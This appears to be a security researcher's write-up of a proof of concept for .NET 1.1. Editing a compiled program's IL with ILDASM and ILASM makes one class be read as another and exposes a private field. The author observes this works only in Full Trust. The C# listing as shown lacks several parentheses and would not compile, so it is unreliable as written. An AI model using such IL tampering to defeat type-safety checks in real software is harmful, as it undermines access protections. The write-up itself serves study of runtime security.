Possible Type Confusion issue in .Net 1.1 (only works in Full Trust)

while doing my Rooting the CLR research I found something which I thing could be a 'Type Confusion issue' in .Net 1.1 (see more details about these issues in this great document on Java Security published by the LSD Research group http://lsd-pl.net/papers.html#java)

Here are my test:

1) Compile this:

using System; namespace RootingTheClr {   class classTest {       public static void Main {           Console.WriteLine("\n\n classTest \n\n"); normalClass ncTest = new normalClass; maliciousClass mcTest = (maliciousClass)new maliciousClass; normalClass ncTestTarget = ncTest; Console.WriteLine("Public = " + mcTest.iPublicVar + "   Private = " + mcTest.iPrivateVar ); }   }

class normalClass {       public int iPublicVar; private int iPrivateVar;

public normalClass {           iPrivateVar = 100; iPublicVar = 999; }   }

class maliciousClass {       public int iPublicVar; public int iPrivateVar;

public maliciousClass {           iPrivateVar = 1; iPublicVar = 9; }   } }

2) and you should get this (note the value of Private):

csc classtest.cs Microsoft (R) Visual C# .NET Compiler version 7.10.3052.4 for Microsoft (R) .NET Framework version 1.1.4322 Copyright (C) Microsoft Corporation 2001-2002. All rights reserved.

classTest.cs(21,15): warning CS0169: The private field 'RootingTheClr.normalClass.iPrivateVar' is never used

classTest.exe

classTest

Public = 9   Private = 1

3) run ILDASM on the exe:

ildasm classTest.exe /out:classTest.il

// WARNING: Created Win32 resource file classTest.res

4) Notepad it and make this change:

notepad classTest.il

replace

IL_0010: newobj     instance void RootingTheClr.maliciousClass::.ctor

with

IL_0010: newobj     instance void RootingTheClr.normalClass::.ctor

5) Ilasm the file

ilasm classTest.il

Microsoft (R) .NET Framework IL Assembler. Version 1.1.4322.573 Copyright (C) Microsoft Corporation 1998-2002. All rights reserved. Assembling 'classTest.il', no listing file, to EXE --> 'classTest.EXE' Source file is ANSI

Assembled method classTest::Main Assembled method classTest::.ctor Assembled method normalClass::.ctor Assembled method maliciousClass::.ctor Creating PE file

Emitting members: Global Class 1 Methods: 2; Class 2 Fields: 2;     Methods: 1; Class 3 Fields: 2;     Methods: 1; Resolving member refs: 8 -> 8 defs, 0 refs Writing PE file Operation completed successfully 6) execute it (note the value of Private) classTest.exe

classTest

Public = 999   Private = 100

7) This means that we successuflly were able to cast an object of the class normalClass into an object of the class maliciousClass. The attack vector occours because iPrivateVar is a pubic var in maliciousClass and a private var in normalClass

class maliciousClass {       public int iPublicVar; public int iPrivateVar;

...

class normalClass {       public int iPublicVar; private int iPrivateVar;

...

-


 * 8) what is interresting is that this only works in Full Trust, if you try to run this in a partial trust environment like from a local network share) you will get the following error:

classTest.exe

Unhandled Exception: System.Security.VerificationException: Operation could destabilize the runtime. at RootingTheClr.classTest.Main

This means that the CLR in partial trust does do some verification on the compliled Byte code which is not done in Full Trust (which will mean that Microsoft Security Response Team will say that this is not a vulnerabiltiy and occours by design :)